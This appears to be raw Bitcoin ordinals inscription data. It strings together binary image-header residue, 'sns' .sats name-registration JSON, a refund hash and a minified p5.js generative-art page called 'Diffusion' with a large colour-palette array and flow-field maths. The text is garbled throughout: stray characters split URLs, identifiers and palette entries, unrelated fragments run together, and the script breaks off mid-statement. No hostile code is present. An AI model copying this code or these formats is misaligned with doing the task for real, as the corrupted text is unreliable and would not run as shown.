'#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"walt.sats"}h! text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"vern.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"julius.sats"}h! '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"jedd.sats"}h! text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 "name": "0809.sats" text/plain;charset=utf-8 "name": "mert.sats" IjGREFUND:8B735468CFF90A0EA3A9D966F4BA46E5E76F11B1FF0111AA1CA3B23E634C9FBB text/plain;charset=utf-8 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"lso.sats"}h! text/plain;charset=utf-8 "name": "aij.sats" text/plain;charset=utf-8 "name": "aif.sats" text/plain;charset=utf-8 "name": "aie.sats" text/plain;charset=utf-8 "name": "aih.sats" "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/html;charset=utf-8 <meta charset="UTF-8"> <meta http-equiv="Content-Security-Policy" content="default-src *; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval' http://cdnjs.cloudflare.com"> <title>Diffusion</title> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflareM .com/ajax/libs/mathjs/11.5.1/math.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <script type="text/javascript"> var eigenvector_maj,eigenvector_min,flowcolorfield,cols,rows,colAlg,integral_lines=[];let center;var scl=10,inc=.06,zoff=0;let w,h,wdt,margin=10,cells=[],dsep=3,xx,yy,dt=.5,t,strk,palette1=[["#ce2d42","#082880","#7462f9","#f4b53f","#123676","#9c223d","#e6c7b4"],M ["#f43b79","#1136ed","#6b43dd","#ef9029","#4aa4ae","#69239b","#f7f1b4"],["#7fefe4","#be3edd","#70cfe5","#f2c666","#e6c7b4","#583fc4","#fff57d"],["#80aded","#7b66f7","#658fdb","#f2e18b","#f7f1b4","#773caa","#f4b537"],["#a5e2f2","#a783ed","#61c1db","#f7c872","#6eabf4","#6d52dd","#ff7db2"],["#d8d8d8","#898de0","#89afe5","#f9e78f","#85b2e8","#8110e5","#bf2b6e"],["#7094fc","#643ac9","#306bef","#9100dd","#e6c7b4","#e2396d","#ef3a65"],["#80aded","#a28fef","#4688e8","#db003a","#f7f1b4","#d632a4","#bc174e"],["#594499","#db3M e3e","#25ceb2","#02827b","#a0a09f","#56661d","#34067c"],["#425999","#bc3f3f","#9fe2cc","#108fc1","#d37676","#132691","#5b3c96"],["#ffeda1","#91205c","#2929e2","#9509b7","#70b9c0","#5474e8","#d30b8c"],["#f9cfc7","#721b74","#1c70ea","#7c1d93","#919bdb","#5574ce","#f25c87"],["#f25a7b","#e960af","#992843","#8b52f7","#6eabf4","#3714a1","#445b96"],["#ff399c","#e73250","#d32f53","#33bbff","#7de7ff","#69239b","#8041f9"],["#6f6674","#34a0a5","#992843","#f98450","#6eabf4","#3714a1","#445b96"],["#4d82aa","#24c6c6","#d32f53","M #f973a0","#7de7ff","#69239b","#8041f9"],["#ff6d40","#361ee0","#992843","#e6c7b4","#9370f2","#3714a1","#445b96"],["#e6372f","#3a338e","#d32f53","#f7f1b4","#8092ff","#69239b","#8041f9"],["#ffa943","#2177f4","#35fc93","#f9cfd2","#6eabf4","#3714a1","#445b96"],["#ffce45","#2f7083","#5affdf","#fcf4b7","#7de7ff","#69239b","#8041f9"],["#41d9f2","#528cd1","#3a6eba","#5f64c1","#4a97f4","#7426bf","#f7d52f"],["#71f2ff","#249cff","#63a1ea","#7f88db","#56a6f4","#7f0caf","#f7b643"],["#41d9f2","#51fcbb","#d3057b","#295cff","#7d22fM f","#51d7e5","#e6c7b4"],["#71f2ff","#81fcca","#f91cb0","#0239c1","#8450d6","#05bdc6","#f7f1b4"],["#43bbef","#53f9e4","#bf2640","#5082ff","#8648ff","#36ffcf","#881ed3"],["#6bcced","#fce586","#f93ebb","#52a1ff","#8e51a8","#05bdc6","#ff0895"],["#a745ed","#fcbbbb","#f20a41","#ffd252","#0606bf","#ff459e","#881ed3"],["#7b19d1","#a7d0f9","#ba0f40","#fcd5bb","#4545ce","#9666ff","#ff0895"],["#31a4dd","#6f3bff","#f20a41","#4470a5","#7171f4","#e710f9","#2e92ff"],["#ffffab","#8e7de2","#ba0f40","#9312b2","#85b5f9","#830591","#0M 34a7f"],["#06a0ba","#6f3bff","#f20a41","#8777f7","#4848c1","#6b11f7","#e6c7b4"],["#2bc5cc","#8e7de2","#ba0f40","#6155bf","#4b4bf7","#a318b7","#f7f1b4"],["#06a0ba","#6f3bff","#8473ff","#fce875","#4848c1","#ffb3c9","#2e92ff"],["#2bc5cc","#8e7de2","#9e61ba","#ffd2c7","#0f0fce","#f7e579","#034a7f"],["#c10839","#6f3bff","#ff06a6","#f2a5bb","#4848c1","#117ff7","#579ef2"],["#a20dd3","#8e7de2","#aa08ff","#f2ec79","#0f0fce","#a60abc","#1b64ce"],["#06a0ba","#6f3bff","#fca660","#f7f377","#9149bf","#f71165","#31f0ff"],["#2bc5cM c","#8e7de2","#dd582a","#ffe09c","#630ca8","#a8275c","#04717c"],["#e041b3","#3e71ff","#ffec64","#77c1f7","#9149bf","#f71165","#e6c7b4"],["#f95089","#8e7de2","#f99175","#1d6bdd","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#0636cc","#8989ef","#e6c7b4","#8005e0","#fc68a4","#3386ff"],["#fc889e","#3b72a3","#2d5cc4","#f7f1b4","#f938cb","#d61a1a","#04717c"],["#f4d334","#3ef6ff","#5347f4","#b877f7","#9149bf","#f71165","#e6c7b4"],["#fc889e","#1fb2b2","#2d5cc4","#6e1ed6","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#3ef6ff","#5M 347f4","#f7f777","#9149bf","#ef5090","#e6c7b4"],["#fc889e","#1fb2b2","#2d5cc4","#ffce88","#630ca8","#ba0457","#f7f1b4"],["#f4d334","#3ef6ff","#5347f4","#77c4f7","#9149bf","#f71165","#854fba"],["#fc889e","#1fb2b2","#2d5cc4","#2187bf","#630ca8","#a8275c","#e783ea"],["#f4d334","#3ef6ff","#f97575","#f4dc78","#9149bf","#f71165","#e6c7b4"],["#fc889e","#1fb2b2","#cc2929","#f28b79","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#3ef6ff","#f97575","#f279ab","#9149bf","#645eea","#e6c7b4"],["#fc889e","#52adff","#cc2929","#e81073"M ,"#630ca8","#3a3acc","#f7f1b4"],["#3ac9d8","#6f3bff","#44acf2","#fce875","#bf23f9","#ffb3c9","#2e92ff"],["#44acf2","#8e7de2","#6cffff","#ffd2c7","#9449ce","#f7e579","#034a7f"],["#06a0ba","#6f3bff","#fc4c7e","#f9b175","#6c6ce5","#8f58f9","#e6c7b4"],["#2bc5cc","#8e7de2","#cf4ef9","#f7df77","#4949c1","#a915ff","#f7f1b4"],["#ef01c4","#065ca8","#1c00ba","#ffee94","#c053ba","#8f58f9","#4ea8f9"],["#a60160","#30bec3","#5e52db","#ffebae","#da55f2","#a915ff","#4febf7"],["#f44260","#3c5ba0","#845ecc","#f4b53f","#3d9fc1","#9c2M 23d","#e6c7b4"],["#f43b79","#4058ad","#6c3ca5","#ef9029","#317ec4","#69239b","#f7f1b4"],["#f44260","#3c5ba0","#7070e8","#f27740","#3d9fc1","#d34040","#e6c7b4"],["#f43b79","#4058ad","#4d4dc1","#ef9029","#317ec4","#ed5487","#f7f1b4"],["#f244ee","#5c75c6","#7070e8","#3cd3b6","#3d9fc1","#d34040","#e6c7b4"],["#f43b79","#637cc1","#4d4dc1","#1cb7b7","#317ec4","#ed5487","#f7f1b4"],["#e5491f","#2058d3","#7462f9","#40f2d0","#123676","#9c223d","#e6c7b4"],["#ef973f","#177199","#6b43dd","#15abba","#4aa4ae","#69239b","#f7f1b4"],M ["#e22079","#2058d3","#7462f9","#40f2d0","#5a92e5","#9c223d","#e6c7b4"],["#f21c59","#177199","#6b43dd","#15abba","#4658f9","#69239b","#f7f1b4"],["#e22079","#2058d3","#e6c7b4","#40f2d0","#5a92e5","#ba4564","#edf28b"],["#f21c59","#177199","#f7f1b4","#15abba","#4658f9","#e5336a","#43f7c8"],["#e22079","#4b80e0","#e6c7b4","#41a9ef","#5a92e5","#bc0d8b","#f7adf7"],["#f21c59","#197abc","#f7f1b4","#36a9cc","#4658f9","#d3057f","#43f7c8"],["#e22079","#4b80e0","#e6c7b4","#435ced","#e2b55a","#ea397d","#f4e2ae"],["#f21c59","#197M abc","#f7f1b4","#7f63f7","#f98562","#e84b3a","#e9f49f"],["#0850b7","#6771f9","#8213bc","#75f9e0","#4848c1","#ffb3c9","#2e92ff"],["#3081e2","#5285dd","#9604af","#15abba","#0f0fce","#f7e579","#034a7f"],["#d80e3e","#6771f9","#8213bc","#f7ad77","#4848c1","#ffb3c9","#31b5ff"],["#ef4878","#5285dd","#9604af","#f4cb78","#0f0fce","#f7e579","#2a76d1"],["#f98246","#69acf7","#8213bc","#f7ad77","#4848c1","#ffb3c9","#31b5ff"],["#ed7d4a","#5285dd","#b529d3","#f4cb78","#0f0fce","#f7e579","#2a76d1"],["#f7cd48","#69d6f4","#8213bc","M #f7ad77","#7649bf","#ffb3c9","#e6c7b4"],["#f49090","#21b5d8","#b529d3","#f4cb78","#5829b2","#f7e579","#f7f1b4"],["#4a82f4","#f22a51","#8213bc","#f7ad77","#905df4","#ffb3c9","#0c85ba"],["#4cb2f2","#b72c4e","#b529d3","#f4cb78","#542ad3","#f7e579","#096889"],["#4a82f4","#f22a51","#1522ba","#f7ad77","#d32fc0","#b6fffa","#0c85ba"],["#4cb2f2","#b72c4e","#483d9b","#f4cb78","#e50a6e","#f1ffb8","#096889"],["#4a82f4","#f22a51","#4b23db","#f7ad77","#d1304b","#5b99f4","#1dbcb4"],["#4cb2f2","#b72c4e","#694eea","#f4cb78","#d6166M 0","#5cd3f2","#096889"],["#ad4cf2","#f22a51","#8213bc","#f478b0","#5ff2f2","#ffb3c9","#0c85ba"],["#8b05e2","#b72c4e","#b529d3","#f4cb78","#3ea6b7","#f7e579","#096889"],["#584def","#f22a51","#a52cdd","#f2c679","#60caef","#d2b6ff","#0d53b7"],["#4f24c6","#b72c4e","#b529d3","#efaa7b","#3ea6b7","#f7e579","#458bdd"],["#584def","#ef592b","#2cdbc1","#f2c679","#6290ed","#b8fff1","#0d53b7"],["#4f24c6","#f27949","#2ec0d8","#efaa7b","#4067b5","#f7e579","#458bdd"],["#584def","#ed2e8a","#2eacd8","#f2c679","#6290ed","#6929ce","#0M d53b7"],["#4f24c6","#c11670","#3070d6","#efaa7b","#4067b5","#4a4add","#458bdd"],["#584def","#ed2e8a","#2eacd8","#ef9c7b","#6290ed","#6929ce","#0d53b7"],["#4f24c6","#c11670","#3070d6","#fc583d","#4067b5","#4a4add","#458bdd"],["#b7b7b7","#0a0a0a","#ffffff","#dbdcdd","#b2b2b2","#a7a7a8","#4e4f4f"],["#d8d8d8","#636363","#dbdcdd","#b2b2b2","#4e4f4f","#e0e1e2","#3f3f3f"],["#5475f1","#ce7ca5","#b0f2da","#edded1","#80d3d8","#9fa1a6","#eafefe"],["#3155c4","#7534ad","#4597ad","#b7183b","#4058cc","#9e2a6f","#1eafab"],];functiM on centerCanvas(){var e=(windowWidth-width)/2,f=(windowHeight-height)/2;cnv.position(e,f)}function setup(){wdt=windowWidth<windowHeight?windowWidth:windowHeight;let e=int(map(mathRand(),0,1,0,3)),f;0===e?(h=.7*(w=wdt),f="7:5"):1===e?(w=.7*(h=wdt),f="5:7"):2===e&&(w=wdt,h=wdt,f="1:1"),cnv=createCanvas(w,h),centerCanvas();pixelDensity(displayDensity()),smooth(),strokeWeight(strk=constrain((wdt/800).toFixed(1),.5,1));let l=int(1990*mathRand());noiseSeed(l),randomSeed(l),noiseDetail(2,1),strokeCap(ROUND),cols=floor(widM th/(scl=wdt/135))+1,rows=floor(height/scl)+1,xx=floor(width/dsep),yy=floor(height/dsep),eigenvector_maj=Array(cols*rows),flowcolorfield=Array(cols*rows),eigenvector_min=Array(cols*rows),colAlg=int(random(2)),paletteIndex=int(map(random(1),0,1,0,palette1.length));let i=chroma.scale(palette1[paletteIndex]).colors(cols*rows);inc=random(.013,.036),t=range(0,10,dt);for(var c=0;c<1;c++){let s=random(width),a=random(height),_=random(width),$=random(height);integral_lines[c]=new Integral_line(s,a,"major"),integral_lines[c+M 1]=new Integral_line(_,$,"minor")}center=createVector(width/2,height/2),background(10);for(var o=0,n=0;n<rows;n++){for(var r=0,d=0;d<cols;d++){var b,p,u,x,y,g=d+n*cols,P=noise(r,o,zoff)*TAU;if(0===colAlg)b=355*noise(r/2+140,o/2+140,zoff/10),p=325*noise(r/2+40,o/2+40,zoff/10),u=355*noise(r/2+210,o/2+210,zoff/10),x=map(noise(r/2+250,o/2+250,zoff/10),0,1,165,255);else if(1===colAlg){var m=int(map(noise(r,o,zoff),0,1,0,i.length));b=chroma(i[m]).get("rgb.r"),p=chroma(i[m]).get("rgb.g"),u=chroma(i[m]).get("rgb.b"),x=map(M noise(r/2+250,o/2+250,zoff/10),0,1,165,255)}var v=createVector(0,0);v.normalize();var j=map(d,0,cols,-width/2,width/2),B=map(n,0,rows,-height/2,height/2),k=createVector(j,B);k.normalize();let z=sqrt(pow((y=p5.Vector.fromAngle(PI/4)).x,2)+pow(y.y,2)),I=atan(y.y/y.x),A=exp(-1*pow(k.mag()-v.mag(),2))*z,C=math.matrix([[cos(2*I),sin(2*I)],[sin(2*I),-cos(2*I)]]),R=math.multiply(C,A);var K=createVector(math.eigs(R).vectors._data[0][0],math.eigs(R).vectors._data[0][1]),V=createVector(math.eigs(R).vectors._data[1][0],math.eM igs(R).vectors._data[1][1]);K.mult(math.eigs(R).values._data[0]),V.mult(math.eigs(R).values._data[1]);let F=cos(2*I)*cos(2*I)-sin(2*I)*sin(2*I),T=[[cos(P),-sin(P)],[sin(P),cos(P)]];K.setMag(F),V.setMag(F);let M=math.multiply(T,[K.x,K.y]),G=math.multiply(T,[V.x,V.y]);eigenvector_maj[g]=createVector(M[0],M[1]),eigenvector_min[g